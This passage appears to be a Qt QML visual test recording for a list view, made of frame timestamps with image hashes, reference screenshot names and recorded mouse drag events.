Frame { - msec: 2960 - hash: "0dfaf61e3a86ee056a5d76cf6f7994b2" - } - Frame { - msec: 2976 - hash: "391995cfc5d8d3808b30d74ba5ea3188" - } - Frame { - msec: 2992 - hash: "6fd4f14c16a8870355fa190c94e4be2d" - } - Frame { - msec: 3008 - hash: "0aac04c8092505d934220e61c7959512" - } - Frame { - msec: 3024 - hash: "6cb0fbe22fcd60b5ed6385e49522b32e" - } - Frame { - msec: 3040 - hash: "2eb7fd1a773e32ae94284cf57efaaff2" - } - Frame { - msec: 3056 - hash: "e143ed5eeb94b35ef97e965f34d45e4d" - } - Frame { - msec: 3072 - hash: "529e85f2cd48c1f0d056682b8350445b" - } - Frame { - msec: 3088 - hash: "d74bded985c00ecd192ff8fdce708450" - } - Frame { - msec: 3104 - hash: "f71568b2173f72c4433a019775923c02" - } - Frame { - msec: 3120 - hash: "1185a1c936ac08633c14d39ca9c4f5e9" - } - Frame { - msec: 3136 - hash: "e641720bf75f1e4f0a8471f3a8b35094" - } - Frame { - msec: 3152 - hash: "cecc41fb42abb95505c094829fd415bf" - } - Frame { - msec: 3168 - hash: "7ad89090beb9de3cd7c5a5a03fca900d" - } - Frame { - msec: 3184 - hash: "2a98fe4406367d4e286d8932d6a21318" - } - Frame { - msec: 3200 - hash: "9aad024b2fc25ce886ccaa4ac106b1d8" - } - Frame { - msec: 3216 - hash: "3c4a787a4d590efd2e72706e40df7b6d" - } - Frame { - msec: 3232 - hash: "1135e06c2981bdaed13c13400e178dc3" - } - Frame { - msec: 3248 - hash: "1fbceedf1c20f2aa3f05be36126280e2" - } - Frame { - msec: 3264 - hash: "5d1ec83f43b649c732cc3f7815100428" - } - Frame { - msec: 3280 - hash: "27501f6b6adccfdb77a5228611e2a95a" - } - Frame { - msec: 3296 - hash: "218dc244352c14467f2b2a39d78a1bc7" - } - Frame { - msec: 3312 - hash: "33a998563d2c053e375f619b7a75a224" - } - Frame { - msec: 3328 - hash: "02d34b79e25367e6d0dc1765cab12353" - } - Frame { - msec: 3344 - hash: "2698cf68138aa7d292167bcc85f60b74" - } - Frame { - msec: 3360 - hash: "0b33e929b420596ff1dce2eeef8480db" - } - Frame { - msec: 3376 - hash: "d8ec307a85cecaacaa908ceb34d5db5b" - } - Frame { - msec: 3392 - hash: "4afe1df3e802b41d1b89b5fab4e35190" - } - Frame { - msec: 3408 - hash: "e8f484ed8d2a6745ee87ac9544281d55" - } - Frame { - msec: 3424 - hash: "6df053920e87d7e6e3ec0368b4b14c25" - } - Frame { - msec: 3440 - hash: "6e94791acce321417a37132821c0260d" - } - Frame { - msec: 3456 - hash: "fea3e31cbf3078615f57c934197dac35" - } - Frame { - msec: 3472 - hash: "e8d15890a8bd95db39889d19f046901b" - } - Frame { - msec: 3488 - hash: "038b422b154dfef2d955b833892c581e" - } - Frame { - msec: 3504 - hash: "01180b3d9b504ca2814382eadaf3a4e0" - } - Frame { - msec: 3520 - hash: "869a0aa0d67043822c65383e0f3264d4" - } - Frame { - msec: 3536 - hash: "43785b1214510c10b65018a9d68a93b1" - } - Frame { - msec: 3552 - hash: "95e6ebc35c2fb128b6e6ac0743268523" - } - Frame { - msec: 3568 - hash: "f8c22a6ca3169de4d29b3b0e2908f581" - } - Frame { - msec: 3584 - hash: "6baf16c321847d269718bcb3468aeeb2" - } - Frame { - msec: 3600 - hash: "30804b5eb2a6d99116475cbdc1a9c043" - } - Frame { - msec: 3616 - hash: "c892c17ec947a910b74f5b8704405e9f" - } - Frame { - msec: 3632 - hash: "696029b77512943001c9eba64191e633" - } - Frame { - msec: 3648 - hash: "4c26bb0ca28d74a2bb79d0bfc8127361" - } - Frame { - msec: 3664 - hash: "6e8c50cc14c9afe73b4baf09a6a8f1a4" - } - Frame { - msec: 3680 - hash: "fd20e4259b44357c93f22f35c698fe1b" - } - Frame { - msec: 3696 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3712 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3728 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3744 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3760 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3776 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3792 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3808 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3824 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3840 - image: "listview.3.png" - } - Frame { - msec: 3856 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3872 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3888 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3904 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3920 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3936 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3952 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3968 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3984 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4000 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4016 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4032 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4048 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4064 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4080 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4096 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4112 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4128 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4144 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 521; y: 24 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4160 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4176 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 32 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 37 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4192 - hash: "a5df688148c264de1d376c9b87ddfa6b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 46 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4208 - hash: "a4e2c1878b0afce0ee1eebd63e9c951a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 66 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4224 - hash: "2f9a79278d492790ef86a09c77e95ff4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 531; y: 136 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 531; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4240 - hash: "5b5ce7206b26528157c426f4e1e3e0a8" - } - Frame { - msec: 4256 - hash: "65a1e5f81ab89b163aed46b984cca45e" - } - Frame { - msec: 4272 - hash: "e28253ad5a2415251b68bcda1d7d4bd0" - } - Frame { - msec: 4288 - hash: "71aae5abb4a9e9077053ea21dd3ec315" - } - Frame { - msec: 4304 - hash: "33fcea38fc3b328b3294f9ac2a26aa1a" - } - Frame { - msec: 4320 - hash: "6299eb1d87f371966307668b92de6a0b" - } - Frame { - msec: 4336 - hash: "4f66d8c7cb6971d0fc24089d123c547b" - } - Frame { - msec: 4352 - hash: "d9906d61b31fabf968290ebcd6688f34" - } - Frame { - msec: 4368 - hash: "5a1945993ff8096ba6b933d45586044a" - } - Frame { - msec: 4384 - hash: "331535e54da9bbdbc2fbf2b244ad0199" - } - Frame { - msec: 4400 - hash: "4dc39de0c54f6e0b77f94f6ae6c345ec" - } - Frame { - msec: 4416 - hash: "ec309a298ce246c13eb666488eb75016" - } - Frame { - msec: 4432 - hash: "a133819f8adc6265eb0e438261c869e3" - } - Frame { - msec: 4448 - hash: "da4d64fd6b3ae7d49ee5c5c8d0117a37" - } - Frame { - msec: 4464 - hash: "620dd1c3fc41ce657eac9d1a5b765fd4" - } - Frame { - msec: 4480 - hash: "ff1c370bd1bf75a98ae7125e7dd5a9db" - } - Frame { - msec: 4496 - hash: "59c6e4297109b5cc7c197749867dddae" - } - Frame { - msec: 4512 - hash: "91b1719e86529d0c35a53a2d0a095dd6" - } - Frame { - msec: 4528 - hash: "2994663d35c9eb453a27c1a1fa9aeeb8" - } - Frame { - msec: 4544 - hash: "ae4ec37b9f6a00b3c9139e5cfe13d32e" - } - Frame { - msec: 4560 - hash: "a98340236d1b65f47e88684168c1429d" - } - Frame { - msec: 4576 - hash: "34848b483ea6a2bd412e29d26beb3ab0" - } - Frame { - msec: 4592 - hash: "dd9bae0e2fca84b265d8cb59686ff88d" - } - Frame { - msec: 4608 - hash: "18b6ef6f5913b0612b76e7b2e25073dd" - } - Frame { - msec: 4624 - hash: "9398aab9478279aed1bc40c9378f8da4" - } - Frame { - msec: 4640 - hash: "a297a304c12102f23bd1e0f0207e0df9" - } - Frame { - msec: 4656 - hash: "091db9138cd6ae801ad857105a83c8f9" - } - Frame { - msec: 4672 - hash: "253938ca4a4f13433ddd502eb94cb7cd" - } - Frame { - msec: 4688 - hash: "6002df1793d290e4e31ee0c91c37bbe6" - } - Frame { - msec: 4704 - hash: "212476fa1c3a52fb8eba03ec3aecdcd8" - } - Frame { - msec: 4720 - hash: "80d4d8434d4e96a2bc23f5ed060d6ddc" - } - Frame { - msec: 4736 - hash: "2d4add725f31a04558635ce4b73a758a" - } - Frame { - msec: 4752 - hash: "57c06022ec1e502c4f49f43063c433e7" - } - Frame { - msec: 4768 - hash: "8393e97990993f9d5f68ea65f8e4a2db" - } - Frame { - msec: 4784 - hash: "9a1fcd96dffaf5c79ecc7f9427e02499" - } - Frame { - msec: 4800 - image: "listview.4.png" - } - Frame { - msec: 4816 - hash: "5ae722cf541e3453e73bbee57dc379e9" - } - Frame { - msec: 4832 - hash: "fc7326c2e2e56d9c3036e8dfc2ea77a8" - } - Frame { - msec: 4848 - hash: "f22a2a68cea158f333b0457025d75490" - } - Frame { - msec: 4864 - hash: "d684c8aa9b835779080f170cafead40f" - } - Frame { - msec: 4880 - hash: "dd451e5e421f929d015981bc7aeb8c66" - } - Frame { - msec: 4896 - hash: "d066f228295db7f46520495167d3e946" - } - Frame { - msec: 4912 - hash: "ebf640a457e3498bade3220aafa70331" - } - Frame { - msec: 4928 - hash: "190f5b1f3ce9d200790c34c50bcc62c5" - } - Frame { - msec: 4944 - hash: "9d4ad865246eb008afa40740b5c9a208" - } - Frame { - msec: 4960 - hash: "81c8b2c0b4f9e74f24d328a1d9b40a9f" - } - Frame { - msec: 4976 - hash: "24acc300307e71bee79bce8de76f56cb" - } - Frame { - msec: 4992 - hash: "1f9d31f94cfce6f868bfcc8a104d2465" - } - Frame { - msec: 5008 - hash: "7a3cab008dcb7a893ae30797b33df6f2" - } - Frame { - msec: 5024 - hash: "38d561a2950434e59513439c7f1120ea" - } - Frame { - msec: 5040 - hash: "8d34131faa15bc126bd4d9ef3be39ef5" - } - Frame { - msec: 5056 - hash: "85d57ef15791b56deb537795dd87911e" - } - Frame { - msec: 5072 - hash: "71e932169915a6c8c2cef0b22febf316" - } - Frame { - msec: 5088 - hash: "8b3452981963aeebadc9ac2013150263" - } - Frame { - msec: 5104 - hash: "a3fb8abecfeb48ba1cd1fd8f40896fa0" - } - Frame { - msec: 5120 - hash: "f53ab533f6a58ae45139f3da4bf8ab4e" - } - Frame { - msec: 5136 - hash: "9ec7012404f3c1c7795810dcee5acc3b" - } - Frame { - msec: 5152 - hash: "99ca43bab532dd5d7566e596c65053ce" - } - Frame { - msec: 5168 - hash: "0af83ad2416821cc230cd2856d1a3e39" - } - Frame { - msec: 5184 - hash: "86fa23ddf2005bbf35238ae04ae554ac" - } - Frame { - msec: 5200 - hash: "bb52a748f1d85dde410cfa4f24e3ed20" - } - Frame { - msec: 5216 - hash: "898b96bc5ee9a3ac61764e5cd9af8cfb" - } - Frame { - msec: 5232 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5248 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5264 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5280 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5296 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5312 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5328 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5344 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5360 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5376 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5392 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5408 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5424 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5440 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5456 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5472 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5488 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5504 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5520 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5536 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5552 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5568 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5584 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5600 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5616 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5632 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5648 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5664 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5680 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5696 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5712 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5728 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5744 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5760 - image: "listview.5.png" - } - Frame { - msec: 5776 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5792 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5808 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5824 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5840 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5856 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5872 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5888 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5904 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5920 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5936 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5952 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5968 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 111; y: 230 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 227 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5984 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 223 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6000 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 216 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 210 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6016 - hash: "0076b55d3da4ca365688b6a2c984103f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 112; y: 205 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6032 - hash: "db846ad8e3200ca1fce36a38dc7beab8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 112; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6048 - hash: "3cb6b25725b4285f9c096d595224c5ca" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 180 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6064 - hash: "1832e12fdf3b464b02b296e727b33694" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 110; y: 173 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6080 - hash: "6d18d2b5f65cbba4915d0725d24b40f3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 109; y: 158 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 107; y: 140 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6096 - hash: "79bc7afc6b1aa5f8904b3e6d5d4a9389" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 124 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6112 - hash: "4436f2d15304c839aacec486c1fd6d96" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 111 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6128 - hash: "c3bffc7c95893cf9bbd8596208b7f657" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 105 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6144 - hash: "04231c2fdc02729aa34ed4e403dd373b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6160 - hash: "392d75c4b372825e78366eb63a618170" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 87 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 83 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6176 - hash: "7f91f7bdb0cb62d600ac4aa573681fe3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 79 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6192 - hash: "69207181a382650c5e33145555f0d9ba" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 76 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 72 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6208 - hash: "65a184b5c49b02e08114e437483f928d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 104; y: 68 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 105; y: 64 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6224 - hash: "c22da9ce54d04f51fb55da755753a509" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 105; y: 61 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6240 - hash: "59dbd5216847a62f60a1d0701a15bb62" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 106; y: 57 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 106; y: 53 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6256 - hash: "bbfc902db6e6ca253afb1c90306b2a63" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 106; y: 47 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 106; y: 47 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6272 - hash: "5c41f194afec5f7e3db9d98673d03d5c" - } - Frame { - msec: 6288 - hash: "deb06d0f915d5f6ec39b1820d57b6af6" - } - Frame { - msec: 6304 - hash: "deb06d0f915d5f6ec39b1820d57b6af6" - } - Frame { - msec: 6320 - hash: "2a1a1f9239a6ccb308e51796f9b0bb89" - } - Frame { - msec: 6336 - hash: "3c1b44201616b8271023bf05a3f3f0f7" - } - Frame { - msec: 6352 - hash: "87afcef49db8b2b547e85e834f8ec304" - } - Frame { - msec: 6368 - hash: "290081b4b1272ef09ec9964c128e61b5" - } - Frame { - msec: 6384 - hash: "19bb3b23ee4b14a5f0a313106ef7c8c1" - } - Frame { - msec: 6400 - hash: "65a184b5c49b02e08114e437483f928d" - } - Frame { - msec: 6416 - hash: "832d2aefbcaf776f35039be527d367c5" - } - Frame { - msec: 6432 - hash: "69207181a382650c5e33145555f0d9ba" - } - Frame { - msec: 6448 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6464 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6480 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6496 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6512 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6528 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6544 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6560 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6576 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6592 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6608 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6624 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6640 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6656 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6672 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6688 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6704 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6720 - image: "listview.6.png" - } - Frame { - msec: 6736 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6752 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6768 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6784 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6800 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6816 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6832 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6848 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6864 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6880 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6896 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6912 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6928 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6944 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6960 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6976 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6992 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7008 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7024 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7040 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7056 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7072 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7088 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7104 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7120 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7136 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7152 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7168 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7184 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7200 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7216 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7232 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7248 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7264 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7280 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7296 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 519; y: 276 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7312 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 519; y: 275 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7328 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 519; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7344 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 273 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 272 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7360 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 271 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7376 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 268 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7392 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 266 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 265 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7408 - hash: "9047f597b9e59ca652c172338bed6ef9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 262 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7424 - hash: "87476f78daecd6bb49e8d6e673d28100" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 260 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7440 - hash: "6bfd895c6b7d97e4102eb26608cdfeca" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 254 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7456 - hash: "e4c2b75beaee54a5781a5acbeb37ea64" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 249 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7472 - hash: "d5e816768e9c3db0631416bd86b1b461" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 243 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7488 - hash: "df6c7252ebb51e7447396b640e1c6ead" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 237 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7504 - hash: "5f4db5386dc76b9f2dac47618c733dee" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 231 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7520 - hash: "534d1d16d8321996969b54875ec5f1e0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 225 - modifiers: 